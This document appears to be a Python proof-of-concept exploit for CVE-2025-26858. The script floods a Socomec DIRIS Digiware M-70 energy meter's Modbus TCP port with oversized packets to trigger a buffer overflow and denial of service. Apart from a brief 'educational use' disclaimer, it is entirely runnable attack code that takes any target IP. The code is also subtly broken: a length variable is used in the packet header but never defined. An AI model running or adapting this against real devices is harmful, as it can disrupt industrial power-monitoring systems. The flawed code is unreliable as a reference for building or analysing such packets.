CVE-2025-26858

#!/usr/bin/env python3 """ CVE-2025-26858 PoC - Socomec DIRIS Digiware M-70 Modbus TCP Buffer Overflow Reference: TALOS-2025-2152 Note: This PoC is for educational and authorized security testing purposes only. """ import socket import struct import sys def create_modbus_tcp_packet(unit_id, function_code, data): """ Create a Modbus TCP packet with potential buffer overflow payload. Modbus TCP Header: [Transaction ID (2)] [Protocol ID (2)] [Length (2)] [Unit ID (1)] + PDU """ transaction_id = 0x0001 protocol_id = 0x0000 # Modbus PDU (Protocol Data Unit) pdu = bytes([function_code]) + data # Calculate length: Unit ID (1) + PDU length = 1 + len(pdu) header = struct.pack('>HHH', transaction_id, protocol_id, length) unit_id = bytes([unit_id]) return header + unit_id + pdu def exploit_buffer_overflow(target_ip, target_port=502): """ Send malicious Modbus TCP packet to trigger buffer overflow. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Malicious payload designed to overflow buffer # Extended data length to cause overflow in Modbus TCP handler overflow_data = b'\x00' * 512 + b'\x41' * 64 # Try different function codes commonly used in exploitation for func_code in [0x03, 0x04, 0x10]: packet = create_modbus_tcp_packet( unit_id=0xFF, function_code=func_code, data=overflow_data ) sock.send(packet) print(f"[+] Sent malicious packet with function code 0x{func_code:02X}") sock.close() print("[*] Packet sent. Target may be experiencing DoS condition.") except socket.timeout: print("[-] Connection timeout - target may be down") except socket.error as e: print(f"[-] Socket error: {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port=502]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 502 print(f"[*] Targeting {target}:{port}") print("[*] CVE-2025-26858 PoC - Modbus TCP Buffer Overflow") exploit_buffer_overflow(target, port)

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